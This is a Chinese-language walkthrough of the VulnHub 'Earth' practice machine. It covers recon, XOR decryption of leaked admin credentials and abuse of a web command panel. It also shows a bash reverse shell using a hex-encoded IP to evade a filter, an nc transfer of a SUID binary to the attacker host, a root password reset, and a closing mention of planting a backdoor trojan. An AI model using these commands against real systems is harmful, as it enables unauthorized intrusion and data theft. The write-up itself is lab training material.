VulnHub-Earth 打靶記錄

来源:https://www.cnblogs.com/KS192/archive/2022/04/19/16167632.html
-Advertisement-
Play Games

VulnHub-Earth 打靶記錄 搭建靶場的時候一定要使用NATserver或者其他有虛擬網關的網路模式否則無法掃描到埠開放也無法訪問。 知識點 NMAP參數 -sV 獲取系統信息 -sT TCP掃描可能會留下日誌記錄 -sC 使用預設腳本(在-A模式下不需要) -p1-xxx 掃描埠號 - ...


目錄

VulnHub-Earth 打靶記錄

搭建靶場的時候一定要使用NATserver或者其他有虛擬網關的網路模式否則無法掃描到埠開放也無法訪問。

知識點

  • NMAP參數
    • -sV 獲取系統信息
    • -sT TCP掃描可能會留下日誌記錄
    • -sC 使用預設腳本(在-A模式下不需要)
    • -p1-xxx 掃描埠號 -p- ==>等價於 -p1-65535 不設置埠就掃描預設埠
    • -Pn 繞過禁用ping
    • -A 進攻性掃描也會運行預設腳本)
  • arp-scan arp利用arp地址解析協議探測掃描
    • -I 大寫i 用以指定用來掃描的網卡 如果未指定會使用網卡序號最低的一個 也就是eth0但是如果指定 那麼指定的網卡必須支持ARP
    • -l 小寫L 表示從網路介面的ip和掩碼生成列表進行掃描
  • dirb 目錄掃描 直接dirb https://target.com
    • -i 使用不區分大小寫
    • -l 小寫L 掃描到信息後本地列印 沒有這個選項

目標探測

  1. arp-scan -I eth0 -l #利用arp掃描eth0網卡所在區域網中所有存活的主機
    nmap -sV -Pn -sT -sC 10.0.3.5 如果沒有結果可以嘗試全埠掃描
  2. Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local 根據本行信息發現目標使用了dns解析 只能在本地hosts中寫上解析

信息收集

  1. dirb https://earth.local & dirb https://terratest.earth.local/ 使用dirb掃描web應用目錄 需要註意的是這裡掃描要掃描https協議下的因為上一步的nmap掃描出來的應用是443埠也就是https協議所以這裡也要用https

  2. 在掃描https://terratest.earth.local/時發現該功能變數名稱下有個robots.txt泄露 進去發現有一個(Disallow: /testingnotes.*) 代表有這個名字的文件 更換尾碼名可以得到尾碼txt頁面下有一個說明文件 其中泄露的信息 包括管理員用戶名terra 並且第三行泄露了一個用以加密的文件 以及加密的演算法為XOR

  3. 利用python代碼進行異或運算獲取16進位字元串 併進行解密

    import base64
    import binascii
    data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
    #data1中的數據為https://earth.local頁面中最下麵一行數據的內容 如果不確定是哪個可以都試試 只有這個數據可以異或出來有效數據
    f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
    #(open('a.txt', 'rb') rb參數表示獲取到的是 testdata.txt中內容的16進位 其整體結果為2進位的表現形式。testdata.txt 是上一步掃描獲取到的信息 可以複製出來 也可以 使用命令:wget https://terratest.earth.local/testdata.txt --no-check-certificate 
    #binascii.b2a_hex 把二進位形式的16進位字元串轉換為16進位的形式 
    res=hex(int(data1,16) ^ int(f,16)) #&與 |或 ^異或 ~非 >>右移  <<左移  異或的時候需要知道必須要與加密文件大小相同
    print(res) #輸出異或運算後的16進位字元串
    
  4. 將獲取到的16進位字元串進行字元轉換(線上解密工具) 分析內容對以下字元串進行了多次重覆輸出earthclimatechangebad4humans 根據上一步泄露的testingnotes.txt文檔中信息猜測為密碼

Shell反彈&信息二次收集

  1. 使用收集到的信息進行後臺登錄(user:terra passwd:earthclimatechangebad4humans)登錄地址為信息收集頁面發現的admin頁面嘗試登錄網站併成功後發現是一個 命令執行的界面
  2. 執行命令find / -name "\*flag\*" 在所有的內容中鎖定user_flag.txt為可疑文件
    cat 獲取flag
  3. cat /var/earth_web/user_flag.txt 獲取文件內容
    [user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

提權

  1. 反彈 shell 由於無法用nc反彈成功考慮用bash反彈 發現依舊反彈失敗
    image

    經測試可能過濾了IP嘗試使用十六進位格式的ip地址繞過(其實在/var/earth_web/secure_message/forms.py 中可以發現過濾代碼 ) bash -i >& /dev/tcp/0X0a000304/5566 0>&1 ( 由於過濾了IP的格式改為16進位 轉換地址 )

  2. 由於反彈的shell許可權不是root。
    嘗試利用命令繼續查找有執行許可權的命令 find / -perm -u=s -type f 2>/dev/null

  3. 發現有一個reset_root 命令猜測意思是重置root 用strings命令列印文件中可列印的字元 看了後發現跟沒看一樣 嘗試運行 報錯

  4. 用以下命令將文件上傳到本地環境下
    攻擊機:nc -nlvp 1234 >reset_root
    靶機shell:nc 192.168.43.118 1234 < /usr/bin/reset_root

  5. chmod 777 reset_root 給個許可權

  6. strace reset_root 解析運行看結果(在執行nc -nlvp 1234 >reset_root 命令的目錄下)本地運行 繼續報錯 提示缺少 三個文件
    image

  7. 在靶機shell上創建這三個文件後
    touch /dev/shm/kHgTFI5G touch /dev/shm/Zw7bV9U5 touch/tmp/kcM0Wewe

  8. 繼續運行 ./reset_root
    image

  9. 提示密碼重置為Earth了

  10. ------->至此獲得root許可權。

許可權維持

上傳後門木馬即可獲得許可權維持。


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 類與對象 | C++基礎 C++語言程式設計網課 C++中支持我們使用類來定義自己的數據類型。 類的基本思想:數據抽象(data abstraction) 與 封裝(encapsulation)。 數據抽象:依賴於 介面(interface) 和 實現(implementation) 分離的編程(及 ...
  • 作者:Denny Qiao(喬喜銘),雲智慧/架構師。 雲智慧集團成立於2009年,是全棧智能業務運維解決方案服務商。經過多年自主研發,公司形成了從IT運維、電力運維到IoT運維的產業佈局,覆蓋ITOM、ITOA、ITSM、DevOps以及IoT幾大領域,為金融、政府、運營商、能源、交通、製造等上百 ...
  • 近幾年 Python 語言之所以流行,是因為我們可以使用它編寫更少的代碼來實現複雜的功能。Python 開發者社區非常歡迎那些封 裝了複雜實現但是對使用者十分友好的工具包。 然而,Python 的簡便性不止如此。你能相信我們可以在不寫任何代碼的情況下使用 Python 嗎?在接下來的文章中,我會介紹 ...
  • 公司一個工作了 3 年的新同事,問我怎麼回滾他剛剛修改過的代碼,他說弄了半天不會,之前用的 SVN,沒用過 Git,說 Git 好難弄,我真是醉了。。 回滾代碼是我們程式員經常要操作的,使用 SVN 是很簡單,但使用 Git 也並不難,Git 也有很多好用的客戶端(比如:Sourcetree),簡單 ...
  • 為什麼選擇LiteDB 之前做uwp的時候有做過一個植物圖鑒,當時圖片使用的是線上圖片,所以圖片很多也並沒有什麼體驗上的差別,但是直到有一天別人的網站掛掉了,圖片訪問不到了,當時想訪問不到也沒啥,反正圖片都被我爬到本地了,於是就把圖片統統放在Assets目錄里,把url改了下就啟動了。 可是事實很尷 ...
  • typora中代碼塊中設置預設的語言 下載ahk下載鏈接 提取碼:2igm 軟體解壓密碼:rjzkgzh 解壓步驟,一直點下一步安裝就可 新建一個txt文本 將以下的代碼複製到裡面(設置預設什麼語言就將javascript 換成什麼語言) #IfWinActive ahk_exe Typora.ex ...
  • 問題: 在研究blazor項目時發現會有"::deep"不是有效的偽元素的警告,這還是項目模板里的代碼,作為強迫症就十分難受。。。。。 解決: 百度搜了一圈無果,而後掏出谷歌在Stack Overflow找到的解決方案,但也僅僅是解決方案,並沒有說明任何的原因(囧)。 解決辦法是在 C:\Progr ...
  • 本文首發於公眾號「5分鐘學網路 (ID: learnnet5)」,歡迎你的關註。 作者:伍工 原文鏈接:https://mp.weixin.qq.com/s/EaFoZ1qx7TRvtQLFt0xCRg 本文講講 Ubuntu 18 及以上版本配置 IP 的方法,為什麼它值得一講,因為以 Ubunt ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...